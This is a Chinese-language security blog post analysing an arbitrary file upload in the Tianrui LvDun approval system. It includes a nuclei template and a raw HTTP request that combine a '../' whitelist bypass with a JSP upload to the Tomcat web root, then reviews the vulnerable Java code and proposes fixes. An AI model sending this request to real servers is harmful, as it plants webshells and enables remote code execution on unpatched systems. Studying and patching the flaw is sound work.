天锐绿盾审批系统uploadWxFile任意文件上传分析
This_is_Y Lv6

1 漏洞exp

nuclei的yaml文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
id: TianRui-LvDun-UploadWxFile-RCE
info:
name: 天锐绿盾审批系统-uploadWxFile.do-任意文件上传
author: X1ly?S
severity: critical
description: 天锐绿盾审批系统-uploadWxFile.do-任意文件上传导致RCE
http:
- raw:
- |
POST /trwfe/login.jsp/../config/uploadWxFile.do HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarynvgfpfpm
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36

------WebKitFormBoundarynvgfpfpm
Content-Disposition:form-data;name="file";filename="rf67ugji89gcs.jsp"
Content-Type:application/octet-stream

<%out.print("r768hvdesdi");%>
------WebKitFormBoundarynvgfpfpm--
matchers:
- type: status
status:
- 200
- type: word
part: body
words:
- 'true'

matchers-condition: and
- method: GET
path:
- '{{BaseURL}}/rf67ugji89gcs.jsp'
matchers:
- type: status
status:
- 200
- type: word
part: body
words:
- 'r768hvdesdi'

matchers-condition: and

数据包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /trwfe/login.jsp/../config/uploadWxFile.do HTTP/1.1
Host: xxxxxxxx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Connection: keep-alive
Content-Length: 2800
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarynvgfpfpm
Accept-Encoding: gzip, deflate, br

------WebKitFormBoundarynvgfpfpm
Content-Disposition:form-data;name="file";filename="test.jsp"
Content-Type:application/octet-stream

<%out.print("your webshell");%>
------WebKitFormBoundarynvgfpfpm--

2.漏洞分析

这个漏洞有两个点需要分析,一个是上传功能,上传的文件没有检查,文件名也没有过滤,另一个是鉴权,从exp可以看到出现了../目录穿越。

image-20250826222536122

看一眼源码,mvc

然后看一眼过滤器,拦截器和aop中是否有过滤代码

filter过滤器中未发现。

image-20250826231543635

interceptor拦截器中未发现,拦截器中实现的功能是防止token重复提交

image-20250826231604271

AOP中未发现,这段代码作用只是从请求中获取用户信息

image-20250826231652200

上传

根据exp路由/uploadWxFile.do定位到controller中,找到

return this.configService.uploadWxFileToRoot(file, request, response);

image-20250826222748481

随后定位到/trwfe/service/impl/ConfigServiceImpl.java

image-20250826222951934

image-20250826223008129

这里把相关代码贴出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
   public boolean uploadWxFileToRoot(@RequestParam(value = "file",required = false) MultipartFile file, HttpServletRequest request, HttpServletResponse response) {
OutputStream os = null;
String tempPath = System.getProperty("catalina.home") + File.separator + "webapps" + File.separator + "ROOT" + File.separator;
File pt = new File(tempPath);
if (!pt.exists()) {
pt.mkdirs();
}

try {
os = new FileOutputStream(new File(tempPath + file.getOriginalFilename()));
IOUtils.copy(file.getInputStream(), os);
boolean e = true;
return e;
} catch (Exception e) {
log.error("文件上传异常!", e);
} finally {
IOUtils.closeQuietly(os);
}

return false;
}
}

代码很好懂

入参只有一个file,然后拼接一个临时路径tempPath为./tomcat/webapps/ROOT/,随后创建该文件夹。其中 System.getProperty("catalina.home")为tomcat安装目录的绝对路径

然后os = new FileOutputStream(new File(tempPath + file.getOriginalFilename()));这一行tempPath + file.getOriginalFilename()中,就把文件名拼接上路径了,没有作任何过滤,第二行`IOUtils.copy(file.getInputStream(), os);``就是保存文件的过程了。

上传这一个功能点就没什么好说的了

鉴权

从exp中可以看到../可以知道是有绕过操作的,从代码中来看看是怎么回事。

在controller中没有发现鉴权注解,无论是/config还是/uploadWxFile.do

image-20250826224322393

那就去看过滤器,拦截器和aop

拦截器

拦截器中只有一个TokenInterceptor,看代码是获取token用的,没提到过滤的事情

image-20250826225006091

aop

aop中这段代码作用只是从请求中获取用户信息

image-20250826231652200

过滤器

过滤器一共有5个,RequestWrapper、ResponseWrapper、RestFilter、SecurityFilter和SessionFilter。前三个看了一眼,和鉴权无关,RequestWrapper主要是获取请求体长度,ResponseWrapper中也没什么东西,至于RestFilter是记录接口日志相关的东西,看上去也和鉴权无关。所以只需要看SecurityFilter和SessionFilter。

SecurityFilter中只有一个判断url是否需要认证的,关键函数isNoNeedValidate,检查url是否不需要校验。函数还在SessionFilter中,这下只需要看SessionFilter了

image-20250826224826924

SessionFilter,首先是和前面SecurityFilter一样检查url,判断是否不需要校验,

如果是,直接结束filter,

如果否,检查第三方系统开关是否开启且类型为2,同时检查是否是禁用的url,这里用到的isForbid函数。如果是,返回500。

如果否,继续进行检查通过获取x-requested-with请求头,尝试获取cookie中的lang字段,如果为空,则返回time out,

image-20250826225240236

这里展示集中不同情况下的服务端返回情况

非白名单-401

image-20250902002123746

白名单-根据业务来

image-20250902002150097

image-20250902004704498

非白名单- x-requested-with=XMLHttpRequest,lang 不为空,返回401,虽然sessionfilter中,同样是和前面一样,返回到了chain.doFilter(servletRequest, servletResponse);中,但是因为还有一个SecurityFilter,在这里还会校验url,所以还是会返回401。image-20250902004512407

在web.xml中可以看到springSecurityFilterChain接管了所有*.do的接口

image-20250902005315258

非白名单- x-requested-with=XMLHttpRequest,lang 为空,返回sessionstatus: timeout

image-20250902004822537

回到最后,要看鉴权只需要看isNoNeedValidate函数,相关代码全部贴上来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public static boolean isNoNeedValidate(String url, HttpServletRequest request) {
String[] paths = new String[]{"/login.jsp", "/user/logon.do", "/service/", "/menu/getI18N.do", "/menu/getLang.do", "/task/findTaskByIdToDingding.do", "/file/dingApproval.do", "/file/isFileExists.do", "/file/downloadFileTr.do", "/config/findAll.do", "/task/findTaskDing.do", "/task/getUserIdByCode_Ding.do", "/task/getUserMobileToDing.do", "/dept/findDepartmentTree.do", "/file/changeLevel.do", "/tasl/updateParameter.do", "/file/dingdingRelieveApproval.do", "/task/findTaskPage.do", "/task/dingFindHistory.do", "/config/findByPk.do", "/task/dispatch.do", "/fanwei/fanweiDispatch.do", "/taskCommon/dispatch.do", "/pages/fanweioa/fanweiApproval.jsp", "/config/findByUserId.do", "/task/ishandle.do", "/file/isDecryptionFileExits.do", "/file/downFileByconfirm.do", "/file/isDensityFileExists.do", "/file/downloadDensityFile.do", "/ding/", "/wx/", "/fanwei/", "/file/editRelieveVal.do", "/task/finddensityConfirmationComments.do", "/file/updateCancelWMVal.do", "/file/updateCancelWMVal.do", "/file/updateCancelWMValSlot.do", "/invoker/findCategoryCombo.do", "/file/downloadFileTrDlp.do", "/file/isFileExistsDlp.do", "/editor/isPreview.do", "/file/downloadEx.do", "/editor/dispatch.do", "/file/getTxtContent.do", "/file/downloadFileExtranet.do", "/file/asyncDownload.do", "/file/getStatus.do", "/file/downloadByUuid.do", "/file/getCompressPackageFileList.do", "/editor/isPreviewByFileName.do", "/file/getCompressPackageFileListByName.do", "/task/validateDdApprover.do", "/task/updateFileOutSendParameter.do", "/task/findNodeChild.do", "/task/fileList.do", "/thirdSystemConfig/getFlowNodeInfo.do", "/task/updateScreenshotParamD.do", "/user/randomCode.do", "/user/showRandomCode.do", "/user/userUnLock.do"};

for(String path : paths) {
if (url.startsWith(request.getContextPath() + path)) {
return true;
}
}

return isDdWxDownLoad(url, request);
}

public static boolean isDdWxDownLoad(String url, HttpServletRequest request) {
String[] paths = null;
if (Config.DING_QYWX_DOWNLOAD_FILE) {
paths = new String[]{"/file/downloadApplyFileNew.do", "/file/fileExistsToDownload.do", "/file/downloadFileDDWx.do"};
} else {
paths = new String[0];
}

for(String path : paths) {
if (url.startsWith(request.getContextPath() + path)) {
return true;
}
}

return false;
}

代码简单易懂,传入一个url,判断url是否是以paths列表中的元素开头,如果是,返回true,如果不是,继续到isDdWxDownLoad函数中判断,在这个函数中,首先看DING_QYWX_DOWNLOAD_FILE参数是否为true,这个参数是一个开关,默认打开。然后就是和前面一样的判断url是否以paths中的元素开头。

image-20250902010047388

image-20250902010123749

因为只是一个startsWith函数进行鉴权判断,所以可以轻易通过../../进行绕过,随便选一个白名单元素进行拼接即可。

修复和一点外行的猜测

观察paths,其实不难猜测开发为什么会这样写,因为其中除了一些正常的*.do*.jsp路径,还有四个"/service/","/ding/", "/wx/", "/fanwei/"这样的目录,一个偷懒就直接startsWith了,

所以这个漏洞要修复的话,首先要修复这个权限绕过,可以在isNoNeedValidate函数第一行加上

1
2
3
4
5
public static boolean checkTraversal(String content) {
// 检查常见的目录遍历模式
return content.contains("../") || content.contains("..\\") ||
content.contains("%2e%2e%2f") || content.contains("%2e%2e\\");
}

image-20250902013618568

然后是上传逻辑中的uploadWxFileToRoot函数,加上文件后缀的校验

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
访客数 访问量